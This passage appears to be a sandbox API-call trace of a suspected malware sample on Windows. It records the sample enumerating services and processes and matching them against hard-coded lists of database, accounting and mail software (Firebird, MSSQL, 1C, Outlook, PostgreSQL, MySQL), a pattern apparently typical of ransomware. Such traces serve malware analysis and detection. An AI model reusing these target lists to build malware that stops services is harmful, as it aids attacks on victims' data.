	[0266.408] Process32NextW (in: hSnapshot=0x320, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0266.408] CloseHandle (hObject=0x320) returned 1
	[0266.408] Sleep (dwMilliseconds=0x1f4) 
	[0267.636] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280b30
	[0267.939] EnumServicesStatusExW (in: hSCManager=0x4280b30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0267.940] GetLastError () returned 0xea
	[0267.940] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xdea) returned 0x41f5d68
	[0267.940] EnumServicesStatusExW (in: hSCManager=0x4280b30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xdea, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0268.391] GetLastError () returned 0xea
	[0268.391] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x41f5d68, Size=0xe6c) returned 0x41f5d68
	[0268.392] EnumServicesStatusExW (in: hSCManager=0x4280b30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xe6c, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0268.392] CloseServiceHandle (hSCObject=0x4280b30) returned 1
	[0268.392] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0268.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0268.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0268.392] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0268.392] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0268.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0268.392] lstrlenW (lpString="AudioSrv") returned 8
	[0268.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0268.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0268.392] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0268.392] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0268.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0268.392] lstrlenW (lpString="BFE") returned 3
	[0268.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0268.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0268.392] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0268.392] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0268.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0268.392] lstrlenW (lpString="CryptSvc") returned 8
	[0268.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0268.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0268.393] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0268.393] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0268.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0268.393] lstrlenW (lpString="CscService") returned 10
	[0268.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0268.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0268.393] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0268.393] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0268.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0268.393] lstrlenW (lpString="DcomLaunch") returned 10
	[0268.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0268.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0268.393] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0268.393] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0268.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0268.393] lstrlenW (lpString="Dhcp") returned 4
	[0268.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0268.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0268.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0268.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0268.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0268.393] lstrlenW (lpString="Dnscache") returned 8
	[0268.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0268.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0268.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0268.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0268.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0268.393] lstrlenW (lpString="DPS") returned 3
	[0268.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0268.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0268.394] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0268.394] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0268.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0268.394] lstrlenW (lpString="eventlog") returned 8
	[0268.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0268.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0268.394] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0268.394] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0268.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0268.394] lstrlenW (lpString="EventSystem") returned 11
	[0268.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0268.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0268.394] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0268.394] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0268.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0268.394] lstrlenW (lpString="gpsvc") returned 5
	[0268.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0268.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0268.394] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0268.394] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0268.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0268.394] lstrlenW (lpString="iphlpsvc") returned 8
	[0268.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0268.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0268.394] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0268.394] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0268.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0268.394] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0268.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0268.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0268.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0268.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0268.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0268.395] lstrlenW (lpString="lmhosts") returned 7
	[0268.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0268.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0268.395] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0268.395] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0268.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0268.395] lstrlenW (lpString="MMCSS") returned 5
	[0268.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0268.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0268.395] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0268.395] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0268.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0268.395] lstrlenW (lpString="MpsSvc") returned 6
	[0268.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0268.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0268.395] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0268.395] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0268.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0268.395] lstrlenW (lpString="NlaSvc") returned 6
	[0268.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0268.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0268.395] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0268.395] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0268.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0268.395] lstrlenW (lpString="nsi") returned 3
	[0268.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0268.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0268.396] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0268.396] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0268.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0268.396] lstrlenW (lpString="PcaSvc") returned 6
	[0268.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0268.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0268.396] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0268.396] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0268.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0268.396] lstrlenW (lpString="PlugPlay") returned 8
	[0268.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0268.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0268.396] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0268.396] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0268.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0268.396] lstrlenW (lpString="Power") returned 5
	[0268.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0268.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0268.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0268.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0268.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0268.396] lstrlenW (lpString="ProfSvc") returned 7
	[0268.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0268.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0268.396] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0268.396] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0268.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0268.396] lstrlenW (lpString="RpcEptMapper") returned 12
	[0268.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0268.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0268.397] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0268.397] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0268.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0268.397] lstrlenW (lpString="RpcSs") returned 5
	[0268.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0268.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0268.397] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0268.397] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0268.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0268.397] lstrlenW (lpString="SamSs") returned 5
	[0268.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0268.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0268.397] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0268.397] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0268.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0268.397] lstrlenW (lpString="Schedule") returned 8
	[0268.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0268.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0268.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0268.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0268.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0268.397] lstrlenW (lpString="SENS") returned 4
	[0268.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0268.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0268.397] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0268.397] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0268.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0268.397] lstrlenW (lpString="ShellHWDetection") returned 16
	[0268.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0268.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0268.398] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0268.398] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0268.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0268.398] lstrlenW (lpString="Spooler") returned 7
	[0268.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0268.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0268.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0268.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0268.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0268.398] lstrlenW (lpString="SysMain") returned 7
	[0268.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0268.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0268.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0268.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0268.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0268.398] lstrlenW (lpString="Themes") returned 6
	[0268.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0268.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0268.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0268.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0268.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0268.398] lstrlenW (lpString="TrkWks") returned 6
	[0268.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0268.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0268.398] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0268.398] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0268.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0268.398] lstrlenW (lpString="UxSms") returned 5
	[0268.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0268.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0268.399] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0268.399] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0268.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0268.399] lstrlenW (lpString="Winmgmt") returned 7
	[0268.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0268.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0268.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0268.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0268.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0268.399] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0268.399] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c
	[0268.400] Process32FirstW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0268.400] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0268.401] lstrlenW (lpString="System") returned 6
	[0268.401] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0268.401] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0268.401] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0268.401] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0268.401] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0268.401] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0268.401] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0268.401] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0268.401] lstrlenW (lpString="smss.exe") returned 8
	[0268.401] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0268.401] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0268.401] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0268.401] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0268.401] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0268.401] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0268.401] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0268.401] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0268.402] lstrlenW (lpString="csrss.exe") returned 9
	[0268.402] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0268.402] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0268.402] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0268.402] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0268.402] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0268.402] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0268.402] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0268.402] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0268.402] lstrlenW (lpString="wininit.exe") returned 11
	[0268.402] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0268.402] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0268.402] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0268.402] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0268.402] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0268.402] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0268.402] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0268.402] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0268.403] lstrlenW (lpString="csrss.exe") returned 9
	[0268.403] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0268.403] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0268.403] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0268.403] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0268.403] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0268.403] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0268.403] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0268.403] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0268.403] lstrlenW (lpString="winlogon.exe") returned 12
	[0268.403] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0268.403] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0268.403] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0268.403] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0268.403] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0268.403] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0268.403] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0268.403] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0268.404] lstrlenW (lpString="services.exe") returned 12
	[0268.404] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0268.404] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0268.404] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0268.404] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0268.404] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0268.404] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0268.404] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0268.404] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0268.404] lstrlenW (lpString="lsass.exe") returned 9
	[0268.404] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0268.404] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0268.404] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0268.404] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
